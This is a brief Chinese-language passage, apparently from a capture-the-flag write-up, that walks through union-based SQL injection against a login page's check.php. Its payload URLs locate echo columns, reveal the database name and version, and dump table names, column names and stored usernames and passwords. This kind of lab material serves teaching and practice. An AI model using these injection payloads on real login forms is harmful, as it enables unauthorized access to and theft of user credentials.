/check.php?username=1' union select 1,2,3%23&password=1
复制代码
得到回显位置为2、3,查一下版本号:
/check.php?username=1' union select 1,database(),version()%23&password=1
复制代码
得到关键信息geek为数据名称,接下来就可以常规步骤了:
爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
复制代码
爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
复制代码
爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1